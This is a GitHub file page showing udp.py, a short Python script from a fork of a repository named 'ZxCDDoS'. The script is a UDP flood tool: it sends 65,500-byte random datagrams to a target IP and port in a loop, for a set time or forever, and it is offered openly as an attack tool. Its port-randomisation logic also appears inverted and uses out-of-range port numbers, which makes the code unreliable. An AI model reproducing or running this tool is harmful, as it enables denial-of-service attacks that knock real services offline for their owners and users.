forked from t00r4root/ZxCDDoS
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathudp.py
More file actions
24 lines (22 loc) · 708 Bytes
/
udp.py
File metadata and controls
24 lines (22 loc) · 708 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/python
import socket,random,sys,time
if len(sys.argv)==1:
sys.exit('Usage: udp.py ip port(0=random) length(0=forever)')
def UDPFlood():
port = int(sys.argv[2])
randport=(True,False)[port==0]
ip = sys.argv[1]
dur = int(sys.argv[3])
clock=(lambda:0,time.clock)[dur>0]
duration=(1,(clock()+dur))[dur>0]
print('ZxC-UDP: %s:%s for %s seconds'%(ip,port,dur or 'infinite'))
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
bytes=random._urandom(65500)
while True:
port=(random.randint(1,15000000),port)[randport]
if clock()<duration:
sock.sendto(bytes,(ip,port))
else:
break
print('DONE')
UDPFlood()